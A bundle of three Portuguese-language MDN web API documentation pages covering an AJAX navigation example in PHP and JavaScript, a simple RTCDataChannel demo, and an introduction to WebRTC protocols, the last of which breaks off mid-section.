{"title":"Exemplo de navegação Ajax - APIs da Web","text":"Exemplo de navegação Ajax\n=========================\n\nEsse é um exemplo de um web site em AJAX web site composto por apenas três páginas (*first\\_page.php*, *second\\_page.php* e *third\\_page.php*). Para ver como funciona, crie os arquivos a seguir (ou *git clone* https://github.com/giabao/mdn-ajax-nav-example.git ):\n\n**Nota:** Para integrar completamente os elementos `<form>` (en-US) com esse *mecanismo*, porfavor dê uma olhada no parágrafo Enviando formulários e enviando arquivos.\n\n**first\\_page.php**:\n\n\n```php\n<?php\n $page\\_title = \"Primeira página\";\n\n $as\\_json = false;\n if (isset($\\_GET[\"view\\_as\"]) && $\\_GET[\"view\\_as\"] == \"json\") {\n $as\\_json = true;\n ob\\_start();\n } else {\n?>\n<!doctype html>\n<html>\n<head>\n<?php\n include \"include/header.php\";\n echo \"<title>\" . $page\\_title . \"</title>\";\n?>\n</head>\n\n<body>\n\n<?php include \"include/before\\_content.php\"; ?>\n\n<p>Esse parágrafo só é mostrado quando a navegação começa em <strong>first_page.php</strong>.</p>\n\n<div id=\"ajax-content\">\n<?php } ?>\n\n    <p>Esse é o conteúdo de <strong>first_page.php</strong>.</p>\n\n<?php\n if ($as\\_json) {\n echo json\\_encode(array(\"page\" => $page\\_title, \"content\" => ob\\_get\\_clean()));\n } else {\n?>\n</div>\n\n<p>Esse parágrafo só é mostrado quando a navegação começa em <strong>first_page.php</strong>.</p>\n\n<?php\n include \"include/after\\_content.php\";\n echo \"</body>\\n</html>\";\n }\n?>\n```\n\n\n**second\\_page.php**:\n\n\n```php\n<?php\n $page\\_title = \"Segunda página\";\n\n $as\\_json = false;\n if (isset($\\_GET[\"view\\_as\"]) && $\\_GET[\"view\\_as\"] == \"json\") {\n $as\\_json = true;\n ob\\_start();\n } else {\n?>\n<!doctype html>\n<html>\n<head>\n<?php\n include \"include/header.php\";\n echo \"<title>\" . $page\\_title . \"</title>\";\n?>\n</head>\n\n<body>\n\n<?php include \"include/before\\_content.php\"; ?>\n\n<p>Esse parágrafo só é mostrado quando a navegação começa em <strong>second_page.php</strong>.</p>\n\n<div id=\"ajax-content\">\n<?php } ?>\n\n    <p>Esse é o conteúdo de <strong>second_page.php</strong>.</p>\n\n<?php\n if ($as\\_json) {\n echo json\\_encode(array(\"page\" => $page\\_title, \"content\" => ob\\_get\\_clean()));\n } else {\n?>\n</div>\n\n<p>Esse parágrafo só é mostrado quando a navegação começa em <strong>second_page.php</strong>.</p>\n\n<?php\n include \"include/after\\_content.php\";\n echo \"</body>\\n</html>\";\n }\n?>\n```\n\n\n**third\\_page.php**:\n\n\n```php\n<?php\n $page\\_title = \"Terceira página\";\n $page\\_content = \"<p>Esse é o conteúdo de <strong>third\\_page.php</strong>. This content is stored into a php variable.</p>\";\n\n if (isset($\\_GET[\"view\\_as\"]) && $\\_GET[\"view\\_as\"] == \"json\") {\n echo json\\_encode(array(\"page\" => $page\\_title, \"content\" => $page\\_content));\n } else {\n?>\n<!doctype html>\n<html>\n<head>\n<?php\n include \"include/header.php\";\n echo \"<title>\" . $page\\_title . \"</title>\";\n?>\n</head>\n\n<body>\n\n<?php include \"include/before\\_content.php\"; ?>\n\n<p>Esse parágrafo só é mostrado quando a navegação começa em <strong>third_page.php</strong>.</p>\n\n<div id=\"ajax-content\">\n<?php echo $page\\_content; ?>\n</div>\n\n<p>Esse parágrafo só é mostrado quando a navegação começa em <strong>third_page.php</strong>.</p>\n\n<?php\n include \"include/after\\_content.php\";\n echo \"</body>\\n</html>\";\n }\n?>\n```\n\n\n**css/style.css**:\n\n\n```css\n#ajax-loader {\n  position: fixed;\n  display: table;\n  top: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n}\n\n#ajax-loader > div {\n  display: table-cell;\n  width: 100%;\n  height: 100%;\n  vertical-align: middle;\n  text-align: center;\n  background-color: #000000;\n  opacity: 0.65;\n}\n```\n\n\n**include/after\\_content.php**:\n\n\n```php\n<p>Esse é o rodapé. Ele é compartilhado entre todas as páginas ajax.</p>\n```\n\n\n**include/before\\_content.php**:\n\n\n```php\n<p>\n[ <a class=\"ajax-nav\" href=\"first\\_page.php\">Primeiro exemplo</a>\n| <a class=\"ajax-nav\" href=\"second\\_page.php\">Segundo exemplo</a>\n| <a class=\"ajax-nav\" href=\"third\\_page.php\">Terceiro exemplo</a>\n| <a class=\"ajax-nav\" href=\"unexisting.php\">Página inexistente</a> ]\n</p>\n```\n\n\n**include/header.php**:\n\n\n```php\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n<script type=\"text/javascript\" src=\"js/ajax\\_nav.js\"></script>\n<link rel=\"stylesheet\" href=\"css/style.css\" />\n```\n\n\n**js/ajax\\_nav.js**:\n\n(antes de implementar em um ambiente de trabalho, **porfavor leia a nota sobre a compatibilidade de declaração de const**)\n\n\n```js\n\"use strict\";\n\nconst ajaxRequest = new (function () {\n  function closeReq() {\n    oLoadingBox.parentNode && document.body.removeChild(oLoadingBox);\n    bIsLoading = false;\n  }\n\n  function abortReq() {\n    if (!bIsLoading) {\n      return;\n    }\n    oReq.abort();\n    closeReq();\n  }\n\n  function ajaxError() {\n    alert(\"Unknown error.\");\n  }\n\n  function ajaxLoad() {\n    var vMsg,\n      nStatus = this.status;\n    switch (nStatus) {\n      case 200:\n        vMsg = JSON.parse(this.responseText);\n        document.title = oPageInfo.title = vMsg.page;\n        document.getElementById(sTargetId).innerHTML = vMsg.content;\n        if (bUpdateURL) {\n          history.pushState(oPageInfo, oPageInfo.title, oPageInfo.url);\n          bUpdateURL = false;\n        }\n        break;\n      default:\n        vMsg = nStatus + \": \" + (oHTTPStatus[nStatus] || \"Unknown\");\n        switch (Math.floor(nStatus / 100)) {\n          /\\*\n case 1:\n // Informational 1xx\n console.log(\"Information code \" + vMsg);\n break;\n case 2:\n // Successful 2xx\n console.log(\"Successful code \" + vMsg);\n break;\n case 3:\n // Redirection 3xx\n console.log(\"Redirection code \" + vMsg);\n break;\n \\*/\n          case 4:\n            /\\* Client Error 4xx \\*/\n            alert(\"Client Error #\" + vMsg);\n            break;\n          case 5:\n            /\\* Server Error 5xx \\*/\n            alert(\"Server Error #\" + vMsg);\n            break;\n          default:\n            /\\* Unknown status \\*/\n            ajaxError();\n        }\n    }\n    closeReq();\n  }\n\n  function filterURL(sURL, sViewMode) {\n    return (\n      sURL.replace(rSearch, \"\") +\n      (\n        \"?\" +\n        sURL\n          .replace(rHost, \"&\")\n          .replace(rView, sViewMode ? \"&\" + sViewKey + \"=\" + sViewMode : \"\")\n          .slice(1)\n      ).replace(rEndQstMark, \"\")\n    );\n  }\n\n  function getPage(sPage) {\n    if (bIsLoading) {\n      return;\n    }\n    oReq = new XMLHttpRequest();\n    bIsLoading = true;\n    oReq.onload = ajaxLoad;\n    oReq.onerror = ajaxError;\n    if (sPage) {\n      oPageInfo.url = filterURL(sPage, null);\n    }\n    oReq.open(\"get\", filterURL(oPageInfo.url, \"json\"), true);\n    oReq.send();\n    oLoadingBox.parentNode || document.body.appendChild(oLoadingBox);\n  }\n\n  function requestPage(sURL) {\n    if (history.pushState) {\n      bUpdateURL = true;\n      getPage(sURL);\n    } else {\n      /\\* Ajax navigation is not supported \\*/\n      location.assign(sURL);\n    }\n  }\n\n  function processLink() {\n    if (this.className === sAjaxClass) {\n      requestPage(this.href);\n      return false;\n    }\n    return true;\n  }\n\n  function init() {\n    oPageInfo.title = document.title;\n    history.replaceState(oPageInfo, oPageInfo.title, oPageInfo.url);\n    for (\n      var oLink, nIdx = 0, nLen = document.links.length;\n      nIdx < nLen;\n      document.links[nIdx++].onclick = processLink\n    );\n  }\n\n  const /\\* customizable constants \\*/\n    sTargetId = \"ajax-content\",\n    sViewKey = \"view\\_as\",\n    sAjaxClass = \"ajax-nav\",\n    /\\* not customizable constants \\*/\n    rSearch = /\\?.\\*$/,\n    rHost = /^[^\\?]\\*\\?\\*&\\*/,\n    rView = new RegExp(\"&\" + sViewKey + \"\\\\=[^&]\\*|&\\*$\", \"i\"),\n    rEndQstMark = /\\?$/,\n    oLoadingBox = document.createElement(\"div\"),\n    oCover = document.createElement(\"div\"),\n    oLoadingImg = new Image(),\n    oPageInfo = {\n      title: null,\n      url: location.href,\n    },\n    oHTTPStatus =\n      /\\* http://www.iana.org/assignments/http-status-codes/http-status-codes.xml \\*/ {\n        100: \"Continue\",\n        101: \"Switching Protocols\",\n        102: \"Processing\",\n        200: \"OK\",\n        201: \"Created\",\n        202: \"Accepted\",\n        203: \"Non-Authoritative Information\",\n        204: \"No Content\",\n        205: \"Reset Content\",\n        206: \"Partial Content\",\n        207: \"Multi-Status\",\n        208: \"Already Reported\",\n        226: \"IM Used\",\n        300: \"Multiple Choices\",\n        301: \"Moved Permanently\",\n        302: \"Found\",\n        303: \"See Other\",\n        304: \"Not Modified\",\n        305: \"Use Proxy\",\n        306: \"Reserved\",\n        307: \"Temporary Redirect\",\n        308: \"Permanent Redirect\",\n        400: \"Bad Request\",\n        401: \"Unauthorized\",\n        402: \"Payment Required\",\n        403: \"Forbidden\",\n        404: \"Not Found\",\n        405: \"Method Not Allowed\",\n        406: \"Not Acceptable\",\n        407: \"Proxy Authentication Required\",\n        408: \"Request Timeout\",\n        409: \"Conflict\",\n        410: \"Gone\",\n        411: \"Length Required\",\n        412: \"Precondition Failed\",\n        413: \"Request Entity Too Large\",\n        414: \"Request-URI Too Long\",\n        415: \"Unsupported Media Type\",\n        416: \"Requested Range Not Satisfiable\",\n        417: \"Expectation Failed\",\n        422: \"Unprocessable Entity\",\n        423: \"Locked\",\n        424: \"Failed Dependency\",\n        425: \"Unassigned\",\n        426: \"Upgrade Required\",\n        427: \"Unassigned\",\n        428: \"Precondition Required\",\n        429: \"Too Many Requests\",\n        430: \"Unassigned\",\n        431: \"Request Header Fields Too Large\",\n        500: \"Internal Server Error\",\n        501: \"Not Implemented\",\n        502: \"Bad Gateway\",\n        503: \"Service Unavailable\",\n        504: \"Gateway Timeout\",\n        505: \"HTTP Version Not Supported\",\n        506: \"Variant Also Negotiates (Experimental)\",\n        507: \"Insufficient Storage\",\n        508: \"Loop Detected\",\n        509: \"Unassigned\",\n        510: \"Not Extended\",\n        511: \"Network Authentication Required\",\n      };\n\n  var oReq,\n    bIsLoading = false,\n    bUpdateURL = false;\n\n  oLoadingBox.id = \"ajax-loader\";\n  oCover.onclick = abortReq;\n  oLoadingImg.src =\n    \"data:image/gif;base64,R0lGODlhEAAQAPIAAP///wAAAMLCwkJCQgAAAGJiYoKCgpKSkiH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQJCgAAACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkECQoAAAAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkECQoAAAAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkECQoAAAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQJCgAAACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQJCgAAACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAkKAAAALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==\";\n  oCover.appendChild(oLoadingImg);\n  oLoadingBox.appendChild(oCover);\n\n  onpopstate = function (oEvent) {\n    bUpdateURL = false;\n    oPageInfo.title = oEvent.state.title;\n    oPageInfo.url = oEvent.state.url;\n    getPage();\n  };\n\n  window.addEventListener\n    ? addEventListener(\"load\", init, false)\n    : window.attachEvent\n      ? attachEvent(\"onload\", init)\n      : (onload = init);\n\n  // Public methods\n\n  this.open = requestPage;\n  this.stop = abortReq;\n  this.rebuildLinks = init;\n})();\n```\n\n\n**Nota:** A atual implementação de `const` (declaração de constante) **não é parte do ECMAScript 5**. É suportada no Firefox e no Chrome (V8) e parcialmente suportada no Opera 9+ e no Safari. **Ela não é suportada nas versões do Internet Explorer 6 ao 9, ou na versão *preview* do Internet Explorer 10**. `const` será definida no ECMAScript 6, mas com semânticas diferentes. Similarmente ao que acontece com variáveis definidas como `let`, constantes declaradas com `const` serão *block-scoped*, limitando seu escopo no bloco. **Nós só usamos isso com propósito didático. Se você quer total compatibilidade com os navegadores, substitua todas as declarações `const` por declarações `var`.**\n\nPara mais informações, veja: Manipulando o histórico do navegador (en-US).\n\nVeja também\n-----------\n\n* `window.history`\n* `window.onpopstate` (en-US)"}
{"title":"Uma simples amostra de RTCDataChannel - APIs da Web","text":"Uma simples amostra de RTCDataChannel\n=====================================\n\nA interface `RTCDataChannel` é um recurso da WebRTC API que permite abrir um canal entre dois pares sobre os quais você pode enviar e receber dados arbitrários. A API é intencionalmente semelhante à WebSocket API (en-US), de modo que o mesmo modelo de programação pode ser usado para ambos.\n\nNeste exemplo, abriremos um `RTCDataChannel` para realizar a conexão entre dois elementos na mesma página. Embora seja obviamente um cenário artificial, é útil para demonstrar o fluxo de conexão entre dois pares. Vamos cobrir a mecânica necessária para conectar, transmitir e receber dados, mas vamos deixar para outro exemplo os detalhes sobre como localizar e se conectar a um computador remoto.\n\nO HTML\n------\n\nPrimeiro, vamos dar uma olhada rápida no HTML que é necessário. Não há nada incrivelmente complicado aqui. Primeiro, temos um par de botões para estabelecer e fechar a conexão:\n\n\n```html\n<button id=\"connectButton\" name=\"connectButton\" class=\"buttonleft\">\n  Conectar\n</button>\n<button\n id=\"disconnectButton\"\n name=\"disconnectButton\"\n class=\"buttonright\"\n disabled>\n  Desconectar\n</button>\n```\n\n\nDepois, há uma caixa que contém o campo de *input* no qual o usuário pode digitar uma mensagem para transmitir, com um botão para enviar o texto digitado. Este `<div>` será o primeiro ponto (peer) no canal.\n\n\n```html\n<div class=\"messagebox\">\n  <label for=\"message\"\n >Insira a mensagem:\n    <input\n type=\"text\"\n name=\"message\"\n id=\"message\"\n placeholder=\"Texto da mensagem\"\n inputmode=\"latin\"\n size=\"60\"\n maxlength=\"120\"\n disabled />\n  </label>\n  <button id=\"sendButton\" name=\"sendButton\" class=\"buttonright\" disabled>\n    Enviar\n  </button>\n</div>\n```\n\n\nFinalmente, há uma pequena caixa na qual vamos inserir as mensagens. Este bloco `<div>` será o segundo ponto do par (peer).\n\n\n```html\n<div class=\"messagebox\" id=\"receivebox\">\n  <p>Mensagens recebidas:</p>\n</div>\n```\n\nO código JavaScript\n-------------------\n\nComo você pode simplesmente ver o próprio código no GitHub, abaixo, analisaremos as partes do código que fazem o trabalho pesado.\n\nA WebRTC API faz um intenso uso de `Promise`s. Que tornam muito fácil encadear as etapas do processo de conexão; Se você ainda não leu sobre esta funcionalidade do ECMAScript 2015, você deveria ler sobre eles. Da mesma forma, este exemplo usa arrow functions para simplificar a sintaxe.\n\n### Começando\n\nQuando o script é executado, configuramos um `load (en-US)` ouvinte de eventos (event listener), De modo que, uma vez que a página esteja totalmente carregada, nossa função `startup()` seja chamada.\n\n\n```js\nfunction startup() {\n  connectButton = document.getElementById(\"connectButton\");\n  disconnectButton = document.getElementById(\"disconnectButton\");\n  sendButton = document.getElementById(\"sendButton\");\n  messageInputBox = document.getElementById(\"message\");\n  receiveBox = document.getElementById(\"receivebox\");\n\n  // Define os ouvintes de eventos para os elementos da interface do usuário\n\n  connectButton.addEventListener(\"click\", connectPeers, false);\n  disconnectButton.addEventListener(\"click\", disconnectPeers, false);\n  sendButton.addEventListener(\"click\", sendMessage, false);\n}\n```\n\n\nIsso é bastante direto. Pegamos referências de todos os elementos da página que precisaremos acessar e, em seguida, configuramos `event listeners` nos três botões.\n\n### Estabelecendo uma conexão\n\nQuando o usuário clica no botão \"Conectar\", o método `connectPeers()` é chamado. Para que fique mais claro, iremos quebrar o código em mais partes, e analisar um pouco de cada vez.\n\n**Nota:** Mesmo que ambas as extremidades da nossa conexão estejam na mesma página, vamos nos referir ao ponto que inicia a conexão como \"local\", e ao outro como sendo o \"remoto\".\n\n#### Configurando o ponto local (local peer)\n\n\n```js\nlocalConnection = new RTCPeerConnection();\n\nsendChannel = localConnection.createDataChannel(\"sendChannel\");\nsendChannel.onopen = handleSendChannelStatusChange;\nsendChannel.onclose = handleSendChannelStatusChange;\n```\n\n\nO primeiro passo é criar o ponto \"local\" da conexão. Este é o ponto que enviará o pedido de conexão. O próximo passo é criar o `RTCDataChannel` chamando `RTCPeerConnection.createDataChannel()` (en-US) e configurando ouvintes de eventos (event listeners) para monitorar o canal, e para que possamos saber quando ele for aberto e fechado (isto é, quando o canal está conectado ou desconectado dentro dessa conexão entre pares (peer connection)).\n\nÉ importante ter em mente que cada extremidade do canal tem seu próprio objeto `RTCDataChannel` .\n\n#### Configurando o ponto remoto (remote peer)\n\n\n```js\nremoteConnection = new RTCPeerConnection();\nremoteConnection.ondatachannel = receiveChannelCallback;\n```\n\n\nO ponto remoto está configurado de forma semelhante, exceto que não precisamos nós mesmos criar explicitamente um `RTCDataChannel` , uma vez que vamos ser conectados através do canal estabelecido acima. Em vez disso, criamos um `datachannel` manipulador de eventos (event handler); Isso será chamado quando o canal de dados (data channel) for aberto; Este manipulador (handler) receberá um objeto `RTCDataChannel`; você verá isso abaixo.\n\n#### Configurando ICE candidates\n\nO próximo passo é configurar cada conexão com os ouvintes do ICE que serão chamados quando houver um novo candidato ICE para comunicar com o outro lado.\n\n**Nota:** Em um cenário do mundo real em que os dois pares não estão sendo executados no mesmo contexto, o processo é um pouco mais complexo; Cada lado fornece, um de cada vez, um sugestão sobre como conectar (por exemplo, UDP, UDP com um relay, TCP, etc.) chamando `RTCPeerConnection.addIceCandidate()` (en-US), e eles vão de um lado para outro até chegarem a um acordo. Mas aqui, acabamos de aceitar a primeira oferta de cada lado, uma vez que não existe uma rede real envolvida.\n\n\n```js\nlocalConnection.onicecandidate = (e) =>\n  !e.candidate ||\n  remoteConnection.addIceCandidate(e.candidate).catch(handleAddCandidateError);\n\nremoteConnection.onicecandidate = (e) =>\n  !e.candidate ||\n  localConnection.addIceCandidate(e.candidate).catch(handleAddCandidateError);\n```\n\n\nConfiguramos cada `RTCPeerConnection` (en-US) para ter um manipulador de eventos (event handler) para o evento `icecandidate` .\n\n#### Iniciando a tentativa de conexão\n\nA última coisa que precisamos fazer para começar a conectar nossos pares é criar uma oferta de conexão.\n\n\n```js\nlocalConnection\n  .createOffer()\n  .then((offer) => localConnection.setLocalDescription(offer))\n  .then(() =>\n    remoteConnection.setRemoteDescription(localConnection.localDescription),\n  )\n  .then(() => remoteConnection.createAnswer())\n  .then((answer) => remoteConnection.setLocalDescription(answer))\n  .then(() =>\n    localConnection.setRemoteDescription(remoteConnection.localDescription),\n  )\n  .catch(handleCreateDescriptionError);\n```\n\n\nVamos passar por isto linha por linha e decifrar o que significa.\n\n1. Primeiro chamamos `RTCPeerConnection.createOffer()` (en-US) método para criar um resumo SDP (Session Description Protocol) descrevendo a conexão que queremos fazer. Este método aceita, opcionalmente, um objeto com restrições a serem suportadas pela conexão para atender às suas necessidades, como no caso da conexão precisar suportar áudio, vídeo ou ambos. Em nosso exemplo simples, não temos restrições.\n2. Se a oferta for criada com sucesso, passamos o resumo junto ao método de conexões locais `RTCPeerConnection.setLocalDescription()` (en-US) . Isso configura o ponto local da conexão.\n3. O próximo passo é conectar o ponto local ao remoto comunicando ao ponto remoto sobre ele. Isso é feito chamando `remoteConnection.``RTCPeerConnection.setRemoteDescription()` (en-US). Agora o `remoteConnection` conhece a conexão que está sendo construída.\n4. Isso significa que é hora do ponto remoto responder. Ele faz isso chamando o método `createAnswer()` (en-US) . Isso gera um resumo de SDP que descreve a conexão que o ponto remoto está disposto e capaz de estabelecer. Essa configuração está em algum lugar na união das opções que ambos os pares podem suportar.\n5. Uma vez que a resposta foi criada, ela é passada para o *remoteConnection* chamando `RTCPeerConnection.setLocalDescription()` (en-US). Isso estabelece o ponto remoto da conexão (que, para o ponto remoto, é o ponto local. Isso pode parecer confuso, mas você irá se acostumar com isso.\n6. Finalmente, a descrição local das conexões remotas está configurada para se referir ao ponto remoto, chamando localConnection's `RTCPeerConnection.setRemoteDescription()` (en-US).\n7. O `catch()` chama uma rotina que lida com os erros que ocorrem.\n\n**Nota:** Mais uma vez, esse processo não é uma implementação do mundo real; No uso normal, há dois pedaços de código executados em duas máquinas, interagindo e negociando a conexão.\n\n#### Manipulação da conexão de pares bem sucedida\n\nComo cada lado da conexão peer-to-peer é conectado com sucesso, o evento correspondente `RTCPeerConnection` (en-US)'s `icecandidate` é disparado. Esses manipuladores podem fazer o que for necessário, mas, neste exemplo, tudo o que precisamos fazer é atualizar a interface do usuário:\n\n\n```js\nfunction handleLocalAddCandidateSuccess() {\n  connectButton.disabled = true;\n}\n\nfunction handleRemoteAddCandidateSuccess() {\n  disconnectButton.disabled = false;\n}\n```\n\n\nA única coisa que fazemos aqui é desativar o botão \"Conectar\" quando o ponto local estiver conectado e ativar o botão \"Desconectar\" quando o ponto remoto se conectar.\n\n#### Conectando o canal de dados\n\nUma vez que o `RTCPeerConnection` (en-US) é aberto, o evento `datachannel` é enviado para o ponto remoto para completar o processo de abertura do canal de dados; Isso invoca nosso método `receiveChannelCallback()`, que se parece com isso:\n\n\n```js\nfunction receiveChannelCallback(event) {\n  receiveChannel = event.channel;\n  receiveChannel.onmessage = handleReceiveMessage;\n  receiveChannel.onopen = handleReceiveChannelStatusChange;\n  receiveChannel.onclose = handleReceiveChannelStatusChange;\n}\n```\n\n\nO evento`datachannel` inclui, em sua propriedade de canal, uma referência a um `RTCDataChannel` Representando o ponto remoto do canal. Isso é salvo, e nós configuramos, no canal, ouvintes de eventos para os eventos que queremos manipular. Uma vez feito isso, nosso método `handleReceiveMessage()` Será chamado cada vez que os dados são recebidos pelo ponto remoto, e o método `handleReceiveChannelStatusChange()` será chamado sempre que mudar o estado da conexão do canal, para que possamos reagir quando o canal estiver totalmente aberto e quando ele for fechado.\n\n### Lidando com as mudanças de status do canal\n\nAmbos nossos pontos locais e remotos usam um único método para lidar com eventos que indicam alguma alteração no status da conexão do canal.\n\nQuando o ponto local experimenta um evento aberto ou fechado, o método`handleSendChannelStatusChange()` é chamado:\n\n\n```js\nfunction handleSendChannelStatusChange(event) {\n  if (sendChannel) {\n    var state = sendChannel.readyState;\n\n    if (state === \"open\") {\n      messageInputBox.disabled = false;\n      messageInputBox.focus();\n      sendButton.disabled = false;\n      disconnectButton.disabled = false;\n      connectButton.disabled = true;\n    } else {\n      messageInputBox.disabled = true;\n      sendButton.disabled = true;\n      connectButton.disabled = false;\n      disconnectButton.disabled = true;\n    }\n  }\n}\n```\n\n\nSe o estado do canal mudou para \"open\", isso indica que terminamos de estabelecer o link entre os dois pares. A interface do usuário é atualizada de forma correspondente: ativando o elemento de input de texto para a mensagem a ser enviada, focando este elemento de input para que o usuário comece imediatamente a digitar, habilitando os botões \"Enviar\" e \"Desconectar\", que são agora utilizáveis, E desativando o botão \"Conectar\", uma vez que não é necessário quando a conexão está aberta.\n\nSe o estado do canal mudou para \"closed\", ocorre o conjunto oposto de ações: a caixa de entrada de texto e o botão \"Enviar\" estão desativados, o botão \"Conectar\" está habilitado para que o usuário possa abrir uma nova conexão se desejar, e o botão \"Desconectar\" está desativado, uma vez que não é útil quando não existe conexão.\n\nNosso exemplo de par remoto, por outro lado, ignora os eventos de alteração de status, exceto para registrar o evento no console:\n\n\n```js\nfunction handleReceiveChannelStatusChange(event) {\n  if (receiveChannel) {\n    console.log(\n      \"Receive channel's status has changed to \" + receiveChannel.readyState,\n    );\n  }\n}\n```\n\n\nO método `handleReceiveChannelStatusChange()` recebe como parâmetro de entrada o evento que ocorreu; Este será um `RTCDataChannelEvent` (en-US).\n\n### Enviando mensagens\n\nQuando o usuário pressiona o botão \"Enviar\", o método sendMessage() que estabelecemos como o manipulador para o evento do botão `click (en-US)` é chamado. Esse método é bastante simples:\n\n\n```js\nfunction sendMessage() {\n  var message = messageInputBox.value;\n  sendChannel.send(message);\n\n  messageInputBox.value = \"\";\n  messageInputBox.focus();\n}\n```\n\n\nPrimeiro, o texto da mensagem é obtido dos atributos do elemento de *input* `value` . Isso é enviado para o ponto remoto, ligando para `sendChannel.send()` (en-US). E está tudo aí! O resto deste método é apenas um pouco de açúcar para experiência do usuário - a caixa de entrada é esvaziada e re-focada para que o usuário comece imediatamente a digitar outra mensagem.\n\n### Recebendo mensagens\n\nQuando ocorre um evento de \"mensagem\" no canal remoto, nosso método `handleReceiveMessage()` é chamado como o manipulador de eventos.\n\n\n```js\nfunction handleReceiveMessage(event) {\n  var el = document.createElement(\"p\");\n  var txtNode = document.createTextNode(event.data);\n\n  el.appendChild(txtNode);\n  receiveBox.appendChild(el);\n}\n```\n\n\nEste método simplesmente executa alguns injeções básicas DOM ; cria um novo `<p>` (paragraph) elemento, então cria um novo nó `Text` (en-US) contendo o texto da mensagem, que é recebido na propriedade de dados do evento. Este nó de texto é anexado como um filho do novo elemento, que é então inserido no bloco *receiveBox*, fazendo com que ele desenhe na janela do navegador.\n\n### Desconectando os pares (peers)\n\nQuando o usuário clica no botão \"Desconectar\", o método `disconnectPeers()` previamente configurado como o manipulador desse botão é chamado.\n\n\n```js\nfunction disconnectPeers() {\n  // Close the RTCDataChannels if they're open.\n\n  sendChannel.close();\n  receiveChannel.close();\n\n  // Close the RTCPeerConnections\n\n  localConnection.close();\n  remoteConnection.close();\n\n  sendChannel = null;\n  receiveChannel = null;\n  localConnection = null;\n  remoteConnection = null;\n\n  // Update user interface elements\n\n  connectButton.disabled = false;\n  disconnectButton.disabled = true;\n  sendButton.disabled = true;\n\n  messageInputBox.value = \"\";\n  messageInputBox.disabled = true;\n}\n```\n\n\nIsso começa por fechar cada par `RTCDataChannel`, então, de forma semelhante, cada um `RTCPeerConnection` (en-US). Então, todas as referências salvas desses objetos são definidas como null para evitar a reutilização acidental, e a interface do usuário é atualizada para refletir o fato de que a conexão foi fechada.\n\nPróximos passos\n---------------\n\nVocê poderia tentar este exemplo e dar uma olhada no código fonte webrtc-simple-datachannel, disponível no GitHub."}
{"title":"Introdução aos protocolos WebRTC - APIs da Web","text":"Introdução aos protocolos WebRTC\n================================\n\nEste artigo apresenta os protocolos sobre os quais a API WebRTC é construída.\n\nICE\n---\n\nInteractive Connectivity Establishment (ICE) é a estrutura que permite seu navegador web se conectar com outras pessoas. Existem muitas razões pelas quais uma conexão direta do Ponto A para o Ponto B simplesmente não funciona. Ele precisa ignorar firewalls que impediriam a abertura de conexões, fornecer um endereço exclusivo, como na maioria das situações, caso seu dispositivo não tiver um endereço IP público e retransmitir dados por meio de um servidor ou se seu roteador não permitir a conexão direta com seus pares . O ICE usa servidores STUN e / ou TURN para fazer isso, conforme descrito abaixo.\n\nSTUN\n----\n\nSession Traversal Utilities for **NAT** (STU**N**) (sigla dentro de uma sigla) é um protocolo para descobrir seu endereço público e determinar quaisquer restrições em seu roteador que poderiam impedir uma conexão direta com um par.\n\nO cliente enviará uma solicitação a um servidor STUN na Internet que responderá com o endereço público do cliente e se o cliente está ou não acessível por meio do NAT do roteador.\n\n![An interaction between two users of a WebRTC application involving a STUN server.](/pt-BR/docs/Web/API/WebRTC_API/Protocols/webrtc-stun.png)\n\nNAT\n---\n\nNetwork Address Translation (NAT) é usado para dar ao seu dispositivo um endereço IP público. Um roteador terá um endereço IP público e cada dispositivo conectado ao roteador terá um endereço IP privado. As solicitações serão traduzidas do IP privado do dispositivo para o IP público do roteador com uma porta exclusiva. Dessa forma, você não precisa de um IP público exclusivo para cada dispositivo, mas ainda pode ser descoberto na Internet.\n\nAlguns roteadores terão restrições sobre quem pode se conectar a dispositivos na rede. Isso pode significar que, embora tenhamos o endereço IP público encontrado pelo servidor STUN, ninguém pode criar uma conexão. Nesta situação, precisamos voltar para TURN.\n\nTURN\n----\n\nAlguns roteadores que usam NAT empregam uma restrição chamada 'Symmetric NAT' (*NAT simétrico*). Isso significa que o roteador só aceitará conexões de pares aos quais você já se conectou.\n\nTraversal Using Relays around NAT (TURN) destina-se a contornar a restrição de NAT simétrico abrindo uma conexão com um servidor TURN para que ele re-transmita toda informação. Você criaria uma conexão com um servidor TURN e avisaria a todos os pares (*peers*) para enviar pacotes para este servidor, que lhe encaminharia. Isso obviamente vem com alguma sobrecarga, então só é usado se não houver outras alternativas.\n\n![An interaction between two users of a WebRTC application involving STUN and TURN servers.](/pt-BR/docs/Web/API/WebRTC_API/Protocols/webrtc-turn.png)\n\nSDP\n---\n\nSession Description Protocol (SDP) é um padrão para descrever o conteúdo multimídia da conexão, como resolução, formatos, codecs, criptografia, etc., para que os dois pontos possam se entender uma vez que os dados estejam sendo transferidos. Em essência, são os metadados que descrevem o conteúdo e não o conteúdo da mídia em si.\n\nTecnicamente, então, SDP não é realmente um protocolo, mas um formato de dados usado para descrever a conexão que compartilha mídia entre dispositivos.\n\nA documentação do SDP está bem fora do escopo desta documentação; no entanto, existem algumas coisas que vale a pena observar aqui.\n\n### 